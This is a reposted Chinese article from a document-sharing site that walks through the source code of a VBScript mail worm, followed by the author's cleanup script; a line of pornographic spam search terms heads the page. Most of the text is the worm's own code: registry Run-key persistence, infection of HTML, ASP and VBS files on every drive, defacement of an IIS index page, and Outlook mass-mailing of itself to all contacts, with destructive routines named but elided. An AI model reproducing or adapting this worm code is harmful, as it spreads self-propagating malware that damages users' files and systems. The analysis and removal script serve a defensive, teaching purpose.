国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
病毒分析


    讀了《將vbscript拒之“窗”外》一文,心里有些感觸,覺得是不
是少了兩個字,應為《將vbscript病毒拒之“窗”外》,vbscript何罪之有,看了
看文章,確實是將vbscript拒之了“窗”外,上網(wǎng)查了查相關資料,也多是文中提
供的方法,vbscript可真成了冤大頭,可謂是“擋住了蒼蠅,也看不到了蝴蝶”。
   對于一個真正充滿熱情的cfan來說,不僅要知其然,還要知其所以然,vbs病毒
真的很可怕嗎?從早期的宏病毒,到有名的“歡樂時光”病毒,“愛情蟲”病毒等,
無不來勢洶洶,其實許多生勢多是殺毒軟件商的炒做,讀了前文,筆者覺得有必要
為vbs正名,為了讓計算機更好,更高效的服務,我們決不應該回避優(yōu)秀的軟件工具,
采取被動回避的策略,等同于因噎廢食。
    本文通過對一個vbs病毒源碼的分析,介紹腳本語言在:文件系統(tǒng),注冊表,以
及網(wǎng)絡郵件三個方面的具體應用和技巧。較早的“愛情蟲”等病毒,程序比較粗糙,
這個病毒結(jié)合了許多早期病毒的優(yōu)點,程序代碼簡單,高效,充分展示了vbs的全面
特點,因此拿來與大家共享,如果將這個源碼作為一個vbs開發(fā)的微型幫助文檔,一
點不為過。讀者也可以通過此文揭開此類病毒的神秘面紗,不再談虎色變,先進的東
西都不敢用了。殺病毒嗎,筆者還是建議您購買一套殺毒軟件(幾十元的價格,一點
不貴),然后注意更新病毒庫就可以了。要學習 vbs,具有一些vb的基礎知識就夠了。
這個病毒的主要攻擊方法是:通過網(wǎng)絡及郵件進行傳播,并且不斷地向目標郵件服
務器發(fā)送大量郵件,并且在傳染過程中檢測網(wǎng)絡主機的名稱中是否有目標字符,如
果有則進行破壞攻擊。
下面將結(jié)合具體的程序逐步進行介紹,由于篇幅關系,對一些語句進行了縮減。
@ thank you!  make use of other person to get rid of an enemy, white trap _2001
開場白,第一個字符“@”是這個病毒傳染時的標記
on error resume next  這一句很重要,主要是在程序執(zhí)行時如果發(fā)生錯誤就接著
                      執(zhí)行下一條語句,防止談出出錯對話框,否則就不能偷偷
                      的干壞事啦。這里有一個技巧,就是在程序編制調(diào)試階段,
                      最好不要這一條語句,因為它會忽略錯誤,使你的調(diào)試工
                      作不易完成。
dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str
dim defpath, smailc, max_size, whb(), title(10)      聲明各個變量
smailc = 4
redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
以上這四個郵件地址就是被攻擊的目標,當然已經(jīng)進行了修改,不是真實地址
title(0) = "thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
以上這十條字符串是病毒執(zhí)行時隨機顯示在ie標題欄里的信息。如果你的ie標題欄
顯示了其中的某條信息,呵呵,一定要接著往下看
defpath  = "c:\readme.html"          將隨郵件一起發(fā)送的病毒體
max_size = 100000
mswkey   = "hkey_local_machine\software\microsoft\windows\"
hcuw     = "hkey_current_user\software\microsoft\wab\"
定義兩個注冊表的鍵值變量
main     執(zhí)行主函數(shù)

下面就是程序中所需的各個函數(shù)的定義部分,整個vbs程序?qū)⒂蓋indows目錄中的
wscript.exe文件解釋執(zhí)行,如果將這個文件改名或刪除,當然vbs程序也就不能執(zhí)行
了,如此便阻止了病毒的執(zhí)行。在用殺毒軟件殺毒時,往往病毒傳播的速度要比殺
毒的速度快,如果出現(xiàn)這種情況,應該先將wscript.exe文件改名,阻止病毒傳播,
等殺完毒后,再改回來,不致影響其他正常的vbs程序的執(zhí)行。
sub main()
on error resume next
dim w_s
w_s= wscript.scriptfullname     得到此文件名稱
if w_s = "" then
 err.clear
 set fso = createobject("scripting.filesystemobject")
 隨著vb編程語言的完善,微軟也推出了一種全新的文件操作方法:文件系
        統(tǒng)對象(filesystemobject)。這個對象,及一些相關對象,封裝了所有
        的文件操作。這個病毒程序基本展示了所有的這些操作,因此,如果您要
        利用vbs進行文件操作編程,將這個病毒源碼作為參考文檔,肯定不錯。
 if geterr then
  randomize
  ra = int(rnd() * 7)
  doucment.write title(ra)      
  executemail         打開有毒的頁面
 else     
  executepage         賦值成功,進行傳染,攻擊
 end if 
else
 executevbs                  從病毒體文件“system.dll”提取病毒
end if
end sub

function  geterr()
本函數(shù)主要是檢測前一條語句是否成功返回了scripting.filesystemobject對象,
內(nèi)容略
end function

sub executepage()
dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
vbs_str  = getscriptcode("vbscript")       獲得此程序的vbscript code
js_str   = getjavascript()
code_str =  makescript(encrypt(vbs_str),true)   進行加密處理
html_str =  makehtml(encrypt(vbs_str), true)
gf
wdsf  = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf   = w2 & "user.dll"
wdf2  = w2 & "readme.html"
wdf3  = w2 & "system.dll"

set vf = fso.opentextfile (wdf, 2, true)
vf.write vbs_str
vf.close 
僅用以上三條語句便完成了病毒體文件 "user.dll"的制作,其中對象函數(shù)
opentextfile (wdf, 2, true)的三個參數(shù)分別是:
①文件名,②讀=1或?qū)?2,③文件不存在時是否創(chuàng)建;
當前,filesystemobject對于文本文件的操作有較強的優(yōu)勢,對binary文件
的操作還有待加強。下面依次生成其他的文件,內(nèi)容略

writereg  mswkey & "currentversion\run\mdm", wdsf, ""   
writereg  mswkey & "currentversion\runservices\profile", wdsf2, ""
將mdm.vbs,profile.vbs兩個腳本文件加入到啟動組當中,隨win啟動自動執(zhí)行
sendmail
hackpage
if testuser then
 killhe
else
 mk75
end if
set adi = fso.drives        所有驅(qū)動器對象
for each x in adi           遍歷所有的驅(qū)動器
 if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
 end if
next
if fso.fileexists(defpath) then  fso.deletefile defpath
如果存在"c:\readme.html" ,就刪除它
end sub

sub  executemail()
此函數(shù)制作病毒文件"c:\readme.html" ,并打開它,
由這一段程序,可以看出vbs的簡潔高效
on error resume next
vbs_str  = getscriptcode("vbscript")
js_str   = getjavascript()
set stl = createobject("scriptlet.typelib")
with stl
 .reset
 .path = defpath
 .doc =  makehtml(encrypt(vbs_str), true)
 .write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub

sub executevbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = createobject("scripting.filesystemobject")
set wvbs = createobject("wscript.shell")
gf
wvbs.regwrite  mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"
set vf = fso.opentextfile (w2 & "system.dll", 1)
code_str = vf.readall()
vf.close
hackpage
sendmail
if testuser then
 killhe
else
 mk75
end if
set adi = fso.drives
for each x in adi
 if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
 end if  
next
end sub

sub gf()
w1=fso.getspecialfolder(0) & "\"   獲得windows的路徑名,
w2=fso.getspecialfolder(1) & "\"   獲得系統(tǒng)文件夾路徑名
end sub

function readreg(key_str)
set tmps = createobject("wscript.shell")
readreg = tmps.regread(key_str)
set tmps = nothing
end function

function writereg(key_str, newvalue, vtype)
對注冊表進行寫入操作,讀操作類似,可以由此看到vbs的注冊表操作非常簡單明了。
set tmps = createobject("wscript.shell")
if vtype="" then
 tmps.regwrite key_str, newvalue
else
 tmps.regwrite key_str, newvalue, vtype
end if     
set tmps = nothing       關閉不用的資源,算是病毒的良好行為
end function

function makehtml(sbuffer, ihtml)
制作html文件的內(nèi)容
dim ra
randomize
ra = int(rnd() * 7)
makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _
"<bo" & "ad>" & vbcrlf &  makescript(sbuffer, ihtml) & vbcrlf & _
"<" & "/boad><" & "/html>"
end function

function makescript(codestr, ihtml)
制作病毒的可執(zhí)行script code
if ihtml then
 dim docuwrite
 docuwrite = "document.write(<+" & "script language=javascript>\n+" & _
      "jword" & "+\n</" & "+script>);"
 docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\n+" & _
      "nword" & "+\n</" & "+script>);"
 makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
 chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
 chr(34) &  codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
 "jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"
else    
 makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"
end if
end function

function getscriptcode(languages)
此函數(shù)獲得運行時的script code,
內(nèi)容略
end function

function getjavascript()
getjavascript = getscriptcode("javascript")
end function

function testuser()
此函數(shù)通過鍵值檢測網(wǎng)絡主機是否是攻擊目標
內(nèi)容略
end function

function mk75()
檢測日期是否符合,如果符合,發(fā)控制臺命令,使系統(tǒng)癱瘓
end function

function sendmail()
利用outlook發(fā)送攜帶病毒體的郵件,microsoft outlook是可編程桌面信息管理程序,
outlook可以作為一個自動化服務器(automation servers),因此很容易實現(xiàn)自動發(fā)送
郵件,從這里也可以看出,先進的東西難免會被反面利用,如果你也想用程序控制發(fā)送
郵件,可以仔細研究下面的代碼,
on error resume next
dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
randomize
at=fso.getspecialfolder(1) & "\readme.html"    要發(fā)送的附件文件
set  oa  = createobject("outlook.application") 制作outlook對象
set  wab = oa.getnamespace("mapi")             取得outlook mapi名字空間
for j = 1 to wab.addresslists.count            遍歷所有聯(lián)系人
 eins = wab.addresslists(j)
 wreg=readreg (hcuw  & eins)
 if (wreg="") then wreg = 1
 eaec = eins.addressentries.count       地址表的email記錄數(shù)
 if (eaec > int(wreg)) then
  for x = 1 to eaec
   arrsm = wab.addressentries(x)
   areg = readreg(hcuw & arrsm)
   讀注冊表中的標記,避免重復發(fā)送
   if (areg = "") then
    set fm = wab.createitem(0)   創(chuàng)建新郵件
    with fm
     ra = int(rnd() * 7)
     .recipients.add arrsm 收件人
     .subject = title(ra) 郵件的標題
     .body = title(ra)  郵件的正文內(nèi)容
     .attachments at   病毒文件作為附件
     .send        發(fā)送郵件
     writereg hcuw & arrsm, 1, "reg_dword"
    end with
   end if
  next
 end if   
 writereg hcuw & eins, eaec, ""  
next
set oa = nothing
window.settimeout "sendmail()", 10000   每100秒發(fā)送一次
end function

sub searchhtml(path)
這個函數(shù)遞歸搜索所有需感染的文件,如果你想批量處理文件,這是非常典型
的樣例代碼
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0  then exit sub
fso.getspecialfolder(2)獲得臨時文件夾路徑名,
fso.getspecialfolder(0)獲得windows的路徑名,
fso.getspecialfolder(1)獲得系統(tǒng)文件夾路徑名
set pfo    = fso.getfolder(path)
set psfo   = pfo.subfolders
for each  ps in psfo
 searchhtml(ps.path)
 set pf  = ps.files
 for each pfi in pf
  ext = lcase(fso.getextensionname(pfi.path))
  if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
   if code_str<>"" then addhead pfi.path, pfi, 1
  elseif ext= "vbs"  then
   addhead pfi.path,pfi, 2
  end if      
 next
next
end sub

sub killhe()
看函數(shù)名就知道硬盤又要倒霉啦
end sub

sub hackpage()
dim fi
h = "c:\inetput\wwwroot"
if fso.folderexists(h) then
 set fi = fso.getfile(h & "\index.htm")
 addhead h & "\index.htm",fi,1
end if  
end sub

sub addhead(path, f, t)
這個函數(shù)負責感染文件,之所以不進行省略,因為在后面編制殺毒程序時要用到這一段。
on error resume next
dim tso, buffer,sr
if f.size > max_size then exit sub
set tso = fso.opentextfile(path, 1, true)
buffer = tso.readall()
tso.close
if (t = 1) then
        如果是"htm","plg", "asp" 文件,則在其中加入病毒代碼
 if ucase(left(ltrim(buffer), 7)) <> "<script" then
  set tso = fso.opentextfile(path, 2, true)
  tso.write  code_str & vbcrlf & buffer
  tso.close
 end if
else    否則,用病毒體程序覆蓋掉原文件,這個有點損
 if mid(buffer, 3, 2) <> "@" then
  tso.close
  sr=w2 & "user.dll"
  if fso.fileexists(sr) then fso.copyfile sr, path
 end if
end if
end sub
以上對病毒源碼進行了分析,是不是有所收獲,趕快打開紀事本,親自開發(fā)一個vbs
程序吧,“水能載舟,亦能覆舟”,就編一個清除它的殺毒程序,算是本文的加強練習。

感興趣的朋友可以看一下筆者根據(jù)源程序改編的殺毒程序。

附:
kill75.vbs
本程序由源病毒碼修改而成
dim fso, w1, w2, mswkey, hcuw
dim defpath
dim bdnum      記錄殺除病毒文件的個數(shù)
const max_size = 100000
main

sub main()
on error resume next
bdnum=0
defpath = "c:\readme.html"
mswkey = "hkey_local_machine\software\microsoft\windows\"
hcuw = "hkey_current_user\software\microsoft\wab\"
err.clear
set fso = createobject("scripting.filesystemobject")
executekill
end sub
sub executekill()
on error resume next
dim adi, vf, wdf, wdf2, wdf3, wdsf, wdsf2
gf
wdsf = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "readme.html"
wdf3 = w2 & "system.dll"

if fso.fileexists(wdsf) then fso.deletefile wdsf: bdnum = bdnum + 1
if fso.fileexists(wdsf2) then fso.deletefile wdsf2: bdnum = bdnum + 1
if fso.fileexists(wdf) then fso.deletefile wdf: bdnum = bdnum + 1
if fso.fileexists(wdf2) then fso.deletefile wdf2: bdnum = bdnum + 1
if fso.fileexists(wdf3) then fso.deletefile wdf3: bdnum = bdnum + 1
if fso.fileexists(w2 & "75.htm") then fso.deletefile w2 & "75.htm": bdnum = bdnum + 1
if fso.fileexists(defpath) then fso.deletefile defpath: bdnum = bdnum + 1

deletereg mswkey & "currentversion\run\mdm"
deletereg mswkey & "currentversion\runservices\profile"
deletereg mswkey & "currentversion\run\75"

set adi = fso.drives
for each x in adi
  if x.drivestype = 2 or x.drivestype = 3 then
    call searchhtml(x & "\")
  end if
next
end sub

sub gf()
w1 = fso.getspecialfolder(0) & "\"
w2 = fso.getspecialfolder(1) & "\"
end sub

function deletereg(key_str)
set tmps = createobject("wscript.shell")
tmps.regdelete key_str
set tmps = nothing
end function

sub searchhtml(path)
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0 then exit sub
set pfo = fso.getfolder(path)
set psfo = pfo.subfolders
for each ps in psfo
  searchhtml (ps.path)
  set pf = ps.files
  for each pfi in pf
    filelabel.caption = pfi
    doevents
    ext = lcase(fso.getextensionname(pfi.path))
    if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
         cuthead pfi.path, pfi, 1
    elseif ext = "vbs" then
       cuthead pfi.path, pfi, 2
    end if
  next
next
end sub

sub cuthead(path, f, t)
on error resume next
dim tso, buffer, sr, wz, fbuf
set tso = fso.opentextfile(path, 1, true)
buffer = tso.readall()
tso.close
if (t = 1) then
   if ucase(left(ltrim(buffer), 7)) = "<script" then
      if instr(1, buffer, "jword") > 0 then
         wz = instr(1, buffer, "</script>")
         if wz > 10000 then
           fbuf = right(buffer, len(buffer) - wz - 10)
           set tso = fso.opentextfile(path, 2, true)
           tso.write fbuf
           tso.close
           bdnum = bdnum + 1
           doevents
         end if
       end if
   end if
else
   if mid(buffer, 3, 2) = "@" then
      re = msgbox("是否想刪除:" + path + ",它可能已經(jīng)變成了75病毒", vbyesno)
      if (re = vbyes) then
         tso.delete
         bdnum = bdnum + 1
         doevents
      end if
   end if
end if
end sub
function geterr()
if err.number <> 0 then
 geterr = true 
 err.clear
else
 geterr = false
end if
end function
 

 



本站僅提供存儲服務,所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊舉報
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
VBS讀寫文件及創(chuàng)建、刪除文件
[更新內(nèi)容在2樓]實現(xiàn)遠程控制電腦掛機的方法
vbs學習筆記1
5-自動預警系統(tǒng)搭建
FileSystemObject 讀文本文件
VBA之三
更多類似文章 >>
生活服務
分享 收藏 導長圖 關注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服